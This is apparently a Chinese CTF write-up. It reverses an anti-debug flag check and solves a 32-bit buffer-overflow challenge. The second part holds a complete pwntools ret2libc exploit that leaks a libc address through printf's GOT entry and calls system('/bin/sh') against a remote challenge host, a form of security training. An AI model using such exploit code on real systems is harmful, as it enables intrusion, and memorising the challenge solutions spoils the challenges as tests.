0x01 Antidbg
首先大致定位判断函数:
可以下断点调试,结合输入观察中断情况找到判断函数
我是直接看到 其预先定义的数据:
.rdata:004021B0 xmmword_4021B0 xmmword 100070D020108080D000103040D0303h
.rdata:004021B0 ; DATA XREF: sub_4011A0+7C↑r
.rdata:004021C0 xmmword_4021C0 xmmword 1050D02070106010206000B07010C06h
.rdata:004021C0 ; DATA XREF: sub_4011A0+68↑r
在sub_4011A0处被调用,大致判断sub_4011A0为目标函数
找到函数,F5提示:positive sp value has been found
options->general->查看stack pointer
发现:
存在-90,在.text:004012AC处 ALT+K修复一下sp指针,直接添负号
修改后F5看伪代码:
if ( strlen(Dst) == 42 )
{
v1 = 0;
v3 = xmmword_4021C0;
v5 = 34080258;
v4 = xmmword_4021B0;
v6 = 33882121;
v7 = 3330;
while ( Dst[v1] >> 4 == dword_403018[byte_402178[v1]] && (Dst[v1] & 0xF) == dword_402138[*((char *)&v3 + v1)] )
{
if ( ++v1 >= 42 )
{
v9 = 1667462515;
v10 = 7566181;
goto LABEL_8;
}
}
很清楚的逻辑,v3v4v5v6v7分别定义,但在内存中连续形成key1,不过dword_403018中值过小,都是2,猜测应该是程序在此前会修改此处,动态调试中(在调试中断点下在if ( strlen(Dst) == 42 )此处能拦截输出,也能说明这就是判断我们输入的地方)导出dword_403018即可:
key1="060C01070B00060201060107020D050103030D040301000D080801020D0700010206080209000502020d00"
key2="02020202030101020101020101000101020200010101010001010202000101020201010101010201010300"
key3="2367"
flag=""
for i in range(42):
l=int(key1[i*2:i*2+2],16)&0xf
k=int(key2[i*2:i*2+2])
h=int(key3[k])<<4
flag+=chr(h+l)
print flag
0x02 PlainR2B
程序保护:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
No canary found且给了libc
看主要函数:
int game()
{
int result; // eax
char buf; // [esp+Ch] [ebp-1Ch]
puts("First, what's your name?");
if ( read(0, &name, 0x14u) > 19 )
{
puts("Oh, your name too loooooong...");
exit(0);
}
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
printf("%s, do you want to get flag?\n", &name);
read(0, &buf, 0x34u);
if ( !strcmp(&buf, "yes") || (result = strcmp(&buf, "YES")) == 0 )
result = printf("OK,the flag is flag{%s}, enmmm... but is true?", "WorkToWeekT_T");
return result;
}
buf可以覆盖返回地址
我们可以分两步:
1 返回地址覆盖为printf(func_got)/write(1,func_got,4)来leak libc,并将printf/write返回地址设为game_addr用于复用漏洞
2 复用过程覆盖返回地址为system("/bin/sh")或者one_gadget拿到的execv(注意限制条件)
EXP:
(题很简单,大部分时间在调exp,很简单的exp,接收发送的数据老是不对劲,不知道是发送接收缓冲区还是题目程序本身的玄学,而且我开始选择elf.got["printf"]中为elf.got["strcmp"],就无法打到正确addr,换成其他函数就可以,不知道为什么)
from pwn import *
#context.log_level = 'debug'
#p=process("./pwn")
elf=ELF("./pwn")
lib=ELF("./libc-2.23.so")
p=remote("117.50.60.184",12345)
p.recvuntil("what's your name?")
p.sendline("/bin/sh")
p.recvuntil("flag?")
payload='A'*28+p32(0xfffde000) +p32(elf.plt["printf"])+p32(0x80485cb)+p32(elf.got["printf"])
p.sendline(payload)
p.recv(1)
printf_addr=u32(p.recv(4))
system_addr=printf_addr-lib.symbols["printf"]+lib.symbols["system"]
p.sendline("/bin/sh")
p.recvuntil("flag?")
payload2="A"*28+p32(0xfffde000)+p32(system_addr)+p32(system_addr)+p32(0x804a06c)
p.sendline(payload2)
p.interactive()